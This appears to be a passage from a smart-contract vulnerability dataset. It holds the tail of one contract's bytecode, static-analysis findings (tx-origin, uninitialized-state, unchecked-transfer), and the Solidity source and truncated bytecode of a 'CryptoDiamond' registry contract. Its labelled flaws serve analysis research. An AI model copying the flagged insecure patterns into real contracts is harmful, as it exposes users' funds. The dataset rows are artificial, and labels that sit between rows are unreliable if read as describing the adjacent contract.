691161461058e576040805162461bcd60e51b81526020600482015260146024820152730818db185a5b4e881d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b336000908152600560205260408120805460ff191660011790556105be600a6105b886602d6108bb565b9061091d565b6001546040805163a9059cbb60e01b81523260048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d602081101561063f57600080fd5b505050505050505050565b6003546001600160a01b03163314610697576040805162461bcd60e51b815260206004820152600b60248201526a1037b7363c9027bbb732b960a91b604482015290519081900360640190fd5b60018054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031681565b600154600160a01b900460ff1681565b6040805130606090811b60208084019190915295901b6bffffffffffffffffffffffff191660348201526048810193909352606880840192909252805180840390920182526088909201909152805191012090565b6003546001600160a01b031681565b6003546001600160a01b03163314610785576040805162461bcd60e51b815260206004820152600b60248201526a1037b7363c9027bbb732b960a91b604482015290519081900360640190fd5b600154604080516370a0823160e01b815230600482015290516001600160a01b038085169363a9059cbb93339391909216916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561085757600080fd5b505af115801561086b573d6000803e3d6000fd5b505050506040513d602081101561088157600080fd5b505050565b6000806108928461095f565b905061089e81846109b0565b949350505050565b60046020526000908152604090205460ff1681565b6000826108ca57506000610917565b828202828482816108d757fe5b04146109145760405162461bcd60e51b8152600401808060200182810382526021815260200180610c826021913960400191505060405180910390fd5b90505b92915050565b600061091483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610b9b565b604080517f19457468657265756d205369676e6564204d6573736167653a0a333200000000602080830191909152603c8083019490945282518083039094018452605c909101909152815191012090565b60008151604114610a08576040805162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015290519081900360640190fd5b60208201516040830151606084015160001a7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115610a795760405162461bcd60e51b8152600401808060200182810382526022815260200180610c3e6022913960400191505060405180910390fd5b8060ff16601b14158015610a9157508060ff16601c14155b15610acd5760405162461bcd60e51b8152600401808060200182810382526022815260200180610c606022913960400191505060405180910390fd5b600060018783868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610b29573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610b91576040805162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015290519081900360640190fd5b9695505050505050565b60008183610c275760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610bec578181015183820152602001610bd4565b50505050905090810190601f168015610c195780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610c3357fe5b049594505050505056fe45434453413a20696e76616c6964207369676e6174757265202773272076616c756545434453413a20696e76616c6964207369676e6174757265202776272076616c7565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212200b50a340a0a5bc830936a423cce48ea18fb7167f2e063345f83a5edef253796d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,364
0x727b0ca1918c7fcc6f13a4fe77e19cd1b9b9a13f
pragma solidity ^0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="046061706144657c6d6b697e616a2a676b">[email&#160;protected]</a>> (https://github.com/dete) contract ERC721 { function totalSupply() external view returns (uint256 total); function balanceOf(address _owner) external view returns (uint256 balance); function ownerOf(string _diamondId) public view returns (address owner); function approve(address _to, string _diamondId) external; function transfer(address _to, string _diamondId) external; function transferFrom(address _from, address _to, string _diamondId) external; // Events event Transfer(address indexed from, address indexed to, string indexed diamondId); event Approval(address indexed owner, address indexed approved, string indexed diamondId); } contract DiamondAccessControl { address public CEO; mapping (address => bool) public admins; bool public paused = false; modifier onlyCEO() { require(msg.sender == CEO); _; } modifier onlyAdmin() { require(admins[msg.sender]); _; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } modifier onlyAdminOrCEO() { require(admins[msg.sender] || msg.sender == CEO); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); CEO = _newCEO; } function setAdmin(address _newAdmin, bool isAdmin) external onlyCEO { require(_newAdmin != address(0)); admins[_newAdmin] = isAdmin; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyAdminOrCEO whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when admin account are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() external onlyCEO whenPaused { // can&#39;t unpause if contract was upgraded paused = false; } } /// @title Base contract for CryptoDiamond. Holds all common structs, events and base variables. contract DiamondBase is DiamondAccessControl { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, string indexed diamondId); event TransactionHistory( string indexed _diamondId, address indexed _seller, string _sellerId, address indexed _buyer, string _buyerId, uint256 _usdPrice, uint256 _cedexPrice, uint256 timestamp ); /*** DATA TYPE ***/ /// @dev The main Diamond struct. Every dimond is represented by a copy of this structure struct Diamond { string ownerId; string status; string gemCompositeScore; string gemSubcategory; string media; string custodian; uint256 arrivalTime; } // variable to store total amount of diamonds uint256 internal total; // Mapping for checking the existence of token with such diamond ID mapping(string => bool) internal diamondExists; // Mapping from adress to number of diamonds owned by this address mapping(address => uint256) internal balances; // Mapping from diamond ID to owner address mapping (string => address) internal diamondIdToOwner; // Mapping from diamond ID to metadata mapping(string => Diamond) internal diamondIdToMetadata; // Mapping from diamond ID to an address that has been approved to call transferFrom() mapping(string => address) internal diamondIdToApproved; //Status Constants string constant STATUS_PENDING = "Pending"; string constant STATUS_VERIFIED = "Verified"; string constant STATUS_OUTSIDE = "Outside"; function _createDiamond( string _diamondId, address _owner, string _ownerId, string _gemCompositeScore, string _gemSubcategory, string _media ) internal { Diamond memory diamond; diamond.status = "Pending"; diamond.ownerId = _ownerId; diamond.gemCompositeScore = _gemCompositeScore; diamond.gemSubcategory = _gemSubcategory; diamond.media = _media; diamondIdToMetadata[_diamondId] = diamond; total = total.add(1); diamondExists[_diamondId] = true; _transfer(address(0), _owner, _diamondId); } function _transferInternal( string _diamondId, address _seller, string _sellerId, address _buyer, string _buyerId, uint256 _usdPrice, uint256 _cedexPrice ) internal { Diamond storage diamond = diamondIdToMetadata[_diamondId]; diamond.ownerId = _buyerId; _transfer(_seller, _buyer, _diamondId); emit TransactionHistory(_diamondId, _seller, _sellerId, _buyer, _buyerId, _usdPrice, _cedexPrice, now); } function _transfer(address _from, address _to, string _diamondId) internal { if (_from != address(0)) { balances[_from] = balances[_from].sub(1); } balances[_to] = balances[_to].add(1); diamondIdToOwner[_diamondId] = _to; delete diamondIdToApproved[_diamondId]; emit Transfer(_from, _to, _diamondId); } function _burn(string _diamondId) internal { address _from = diamondIdToOwner[_diamondId]; balances[_from] = balances[_from].sub(1); total = total.sub(1); delete diamondIdToOwner[_diamondId]; delete diamondIdToMetadata[_diamondId]; delete diamondExists[_diamondId]; delete diamondIdToApproved[_diamondId]; emit Transfer(_from, address(0), _diamondId); } function _isDiamondOutside(string _diamondId) internal view returns (bool) { require(diamondExists[_diamondId]); return keccak256(abi.encodePacked(diamondIdToMetadata[_diamondId].status)) == keccak256(abi.encodePacked(STATUS_OUTSIDE)); } function _isDiamondVerified(string _diamondId) internal view returns (bool) { require(diamondExists[_diamondId]); return keccak256(abi.encodePacked(diamondIdToMetadata[_diamondId].status)) == keccak256(abi.encodePacked(STATUS_VERIFIED)); } } /// @title The ontract that manages ownership, ERC-721 (draft) compliant. contract DiamondBase721 is DiamondBase, ERC721 { function totalSupply() external view returns (uint256) { return total; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) external view returns (uint256) { return balances[_owner]; } /** * @dev Gets the owner of the specified diamond ID * @param _diamondId string ID of the diamond to query the owner of * @return owner address currently marked as the owner of the given diamond ID */ function ownerOf(string _diamondId) public view returns (address) { require(diamondExists[_diamondId]); return diamondIdToOwner[_diamondId]; } function approve(address _to, string _diamondId) external whenNotPaused { require(_isDiamondOutside(_diamondId)); require(msg.sender == ownerOf(_diamondId)); diamondIdToApproved[_diamondId] = _to; emit Approval(msg.sender, _to, _diamondId); } /** * @dev Transfers the ownership of a given diamond ID to another address * @param _to address to receive the ownership of the given diamond ID * @param _diamondId uint256 ID of the diamond to be transferred */ function transfer(address _to, string _diamondId) external whenNotPaused { require(_isDiamondOutside(_diamondId)); require(msg.sender == ownerOf(_diamondId)); require(_to != address(0)); require(_to != address(this)); require(_to != ownerOf(_diamondId)); _transfer(msg.sender, _to, _diamondId); } function transferFrom(address _from, address _to, string _diamondId) external whenNotPaused { require(_isDiamondOutside(_diamondId)); require(_from == ownerOf(_diamondId)); require(_to != address(0)); require(_to != address(this)); require(_to != ownerOf(_diamondId)); require(diamondIdToApproved[_diamondId] == msg.sender); _transfer(_from, _to, _diamondId); } } /// @dev The main contract, keeps track of diamonds. contract DiamondCore is DiamondBase721 { /// @notice Creates the main Diamond smart contract instance. constructor() public { // the creator of the contract is the initial CEO CEO = msg.sender; } function createDiamond( string _diamondId, address _owner, string _ownerId, string _gemCompositeScore, string _gemSubcategory, string _media ) external onlyAdminOrCEO whenNotPaused { require(!diamondExists[_diamondId]); require(_owner != address(0)); require(_owner != address(this)); _createDiamond( _diamondId, _owner, _ownerId, _gemCompositeScore, _gemSubcategory, _media ); } function updateDiamond( string _diamondId, string _custodian, uint256 _arrivalTime ) external onlyAdminOrCEO whenNotPaused { require(!_isDiamondOutside(_diamondId)); Diamond storage diamond = diamondIdToMetadata[_diamondId]; diamond.status = "Verified"; diamond.custodian = _custodian; diamond.arrivalTime = _arrivalTime; } function transferInternal( string _diamondId, address _seller, string _sellerId, address _buyer, string _buyerId, uint256 _usdPrice, uint256 _cedexPrice ) external onlyAdminOrCEO whenNotPaused { require(_isDiamondVerified(_diamondId)); require(_seller == ownerOf(_diamondId)); require(_buyer != address(0)); require(_buyer != address(this)); require(_buyer != ownerOf(_diamondId)); _transferInternal(_diamondId, _seller, _sellerId, _buyer, _buyerId, _usdPrice, _cedexPrice); } function burn(string _diamondId) external onlyAdminOrCEO whenNotPaused { require(!_isDiamondOutside(_diamondId)); _burn(_diamondId); } function getDiamond(string _diamondId) external view returns( string ownerId, string status, string gemCompositeScore, string gemSubcategory, string media, string custodian, uint256 arrivalTime ) { require(diamondExists[_diamondId]); ownerId = diamondIdToMetadata[_diamondId].ownerId; status = diamondIdToMetadata[_diamondId].status; gemCompositeScore = diamondIdToMetadata[_diamondId].gemCompositeScore; gemSubcategory = diamondIdToMetadata[_diamondId].gemSubcategory; media = diamondIdToMetadata[_diamondId].media; custodian = diamondIdToMetadata[_diamondId].custodian; arrivalTime = diamondIdToMetadata[_diamondId].arrivalTime; } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063098866491461010157806318160ddd1461015c57806327d7874c1461018757806329cd00f7146101ca57806334cc182b146102255780633ebfc934146102825780633f4ba83a146102fd578063429b62e5146103145780634b0bddd21461036f5780635c975abb146103be57806370a08231146103ed5780638456cb5914610444578063920ffa261461045b578063a108857114610504578063b35376b51461055b578063dafa1d2d14610832578063e74997a81461086d578063e9f702f21461092c575b600080fd5b34801561010d57600080fd5b5061015a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019190919293919293905050506109e7565b005b34801561016857600080fd5b50610171610beb565b6040518082815260200191505060405180910390f35b34801561019357600080fd5b506101c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf5565b005b3480156101d657600080fd5b50610223600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390505050610ccf565b005b34801561023157600080fd5b5061028060048036038101908080359060200190820180359060200191909192939192939080359060200190820180359060200191909192939192939080359060200190929190505050610e85565b005b34801561028e57600080fd5b506102fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390505050611033565b005b34801561030957600080fd5b506103126112b7565b005b34801561032057600080fd5b50610355600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134a565b604051808215151515815260200191505060405180910390f35b34801561037b57600080fd5b506103bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061136a565b005b3480156103ca57600080fd5b506103d361145c565b604051808215151515815260200191505060405180910390f35b3480156103f957600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061146f565b6040518082815260200191505060405180910390f35b34801561045057600080fd5b506104596114b8565b005b34801561046757600080fd5b506104c2600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506115a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051057600080fd5b506105196116b9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056757600080fd5b506105946004803603810190808035906020019082018035906020019190919293919293905050506116de565b6040518080602001806020018060200180602001806020018060200188815260200187810387528e818151815260200191508051906020019080838360005b838110156105ee5780820151818401526020810190506105d3565b50505050905090810190601f16801561061b5780820380516001836020036101000a031916815260200191505b5087810386528d818151815260200191508051906020019080838360005b83811015610654578082015181840152602081019050610639565b50505050905090810190601f1680156106815780820380516001836020036101000a031916815260200191505b5087810385528c818151815260200191508051906020019080838360005b838110156106ba57808201518184015260208101905061069f565b50505050905090810190601f1680156106e75780820380516001836020036101000a031916815260200191505b5087810384528b818151815260200191508051906020019080838360005b83811015610720578082015181840152602081019050610705565b50505050905090810190601f16801561074d5780820380516001836020036101000a031916815260200191505b5087810383528a818151815260200191508051906020019080838360005b8381101561078657808201518184015260208101905061076b565b50505050905090810190601f1680156107b35780820380516001836020036101000a031916815260200191505b50878103825289818151815260200191508051906020019080838360005b838110156107ec5780820151818401526020810190506107d1565b50505050905090810190601f1680156108195780820380516001836020036101000a031916815260200191505b509d505050505050505050505050505060405180910390f35b34801561083e57600080fd5b5061086b600480360381019080803590602001908201803590602001919091929391929390505050611bf0565b005b34801561087957600080fd5b5061092a600480360381019080803590602001908201803590602001919091929391929390803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019190919293919293908035906020019092919080359060200190929190505050611d41565b005b34801561093857600080fd5b506109e5600480360381019080803590602001908201803590602001919091929391929390803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390505050612063565b005b600260009054906101000a900460ff16151515610a0357600080fd5b610a3e82828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506122f9565b1515610a4957600080fd5b610a8482828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506115a0565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610abd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610af957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b3457600080fd5b610b6f82828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506115a0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ba957600080fd5b610be6338484848080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506125d5565b505050565b6000600354905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c8c57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900460ff16151515610ceb57600080fd5b610d2682828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506122f9565b1515610d3157600080fd5b610d6c82828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506115a0565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da557600080fd5b826008838360405180838380828437820191505092505050908152602001604051809103902060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081816040518083838082843782019150509250505060405180910390208373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f1f84ad2a44b444ff59c84b14c29a0515df82fffbd26a5a923e601d8302872c9160405160405180910390a4505050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610f2b57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f3657600080fd5b600260009054906101000a900460ff16151515610f5257600080fd5b610f8d86868080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506122f9565b151515610f9957600080fd5b6007868660405180838380828437820191505092505050908152602001604051809103902090506040805190810160405280600881526020017f566572696669656400000000000000000000000000000000000000000000000081525081600101908051906020019061100d929190613556565b5083838260050191906110219291906135d6565b50818160060181905550505050505050565b600260009054906101000a900460ff1615151561104f57600080fd5b61108a82828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506122f9565b151561109557600080fd5b6110d082828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506115a0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151561110957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561114557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561118057600080fd5b6111bb82828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506115a0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111f557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166008838360405180838380828437820191505092505050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561127457600080fd5b6112b1848484848080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506125d5565b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131257600080fd5b600260009054906101000a900460ff16151561132d57600080fd5b6000600260006101000a81548160ff021916908315150217905550565b60016020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113c557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561140157600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600260009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061155c57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561156757600080fd5b600260009054906101000a900460ff1615151561158357600080fd5b6001600260006101000a81548160ff021916908315150217905550565b60006004826040518082805190602001908083835b6020831015156115da57805182526020820191506020810190506020830392506115b5565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900460ff16151561162657600080fd5b6006826040518082805190602001908083835b60208310151561165e5780518252602082019150602081019050602083039250611639565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60608060608060608060006004898960405180838380828437820191505092505050908152602001604051809103902060009054906101000a900460ff16151561172757600080fd5b600789896040518083838082843782019150509250505090815260200160405180910390206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117e35780601f106117b8576101008083540402835291602001916117e3565b820191906000526020600020905b8154815290600101906020018083116117c657829003601f168201915b50505050509650600789896040518083838082843782019150509250505090815260200160405180910390206001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118a65780601f1061187b576101008083540402835291602001916118a6565b820191906000526020600020905b81548152906001019060200180831161188957829003601f168201915b50505050509550600789896040518083838082843782019150509250505090815260200160405180910390206002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119695780601f1061193e57610100808354040283529160200191611969565b820191906000526020600020905b81548152906001019060200180831161194c57829003601f168201915b50505050509450600789896040518083838082843782019150509250505090815260200160405180910390206003018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a2c5780601f10611a0157610100808354040283529160200191611a2c565b820191906000526020600020905b815481529060010190602001808311611a0f57829003601f168201915b50505050509350600789896040518083838082843782019150509250505090815260200160405180910390206004018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611aef5780601f10611ac457610100808354040283529160200191611aef565b820191906000526020600020905b815481529060010190602001808311611ad257829003601f168201915b50505050509250600789896040518083838082843782019150509250505090815260200160405180910390206005018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bb25780601f10611b8757610100808354040283529160200191611bb2565b820191906000526020600020905b815481529060010190602001808311611b9557829003601f168201915b505050505091506007898960405180838380828437820191505092505050908152602001604051809103902060060154905092959891949750929550565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c9457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611c9f57600080fd5b600260009054906101000a900460ff16151515611cbb57600080fd5b611cf682828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506122f9565b151515611d0257600080fd5b611d3d82828080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050612932565b5050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611de557506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611df057600080fd5b600260009054906101000a900460ff16151515611e0c57600080fd5b611e478a8a8080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050612da3565b1515611e5257600080fd5b611e8d8a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506115a0565b73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16141515611ec657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611f0257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611f3d57600080fd5b611f788a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506115a0565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611fb257600080fd5b6120578a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508989898080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508888888080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050878761307f565b50505050505050505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061210757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561211257600080fd5b600260009054906101000a900460ff1615151561212e57600080fd5b60048b8b60405180838380828437820191505092505050908152602001604051809103902060009054906101000a900460ff1615151561216d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16141515156121a957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16141515156121e457600080fd5b6122ec8b8b8080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508a8a8a8080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505089898080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505088888080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505087878080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506132ce565b5050505050505050505050565b60006004826040518082805190602001908083835b602083101515612333578051825260208201915060208101905060208303925061230e565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900460ff16151561237f57600080fd5b6040805190810160405280600781526020017f4f757473696465000000000000000000000000000000000000000000000000008152506040516020018082805190602001908083835b6020831015156123ed57805182526020820191506020810190506020830392506123c8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b6020831015156124565780518252602082019150602081019050602083039250612431565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019166007836040518082805190602001908083835b6020831015156124bf578051825260208201915060208101905060208303925061249a565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060010160405160200180828054600181600116156101000203166002900480156125535780601f10612531576101008083540402835291820191612553565b820191906000526020600020905b81548152906001019060200180831161253f575b50509150506040516020818303038152906040526040518082805190602001908083835b60208310151561259c5780518252602082019150602081019050602083039250612577565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916149050919050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156126a25761265e6001600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6126f56001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461353590919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816006826040518082805190602001908083835b602083101515612771578051825260208201915060208101905060208303925061274c565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008816040518082805190602001908083835b60208310151561281a57805182526020820191506020810190506020830392506127f5565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060006101000a81549073ffffffffffffffffffffffffffffffffffffff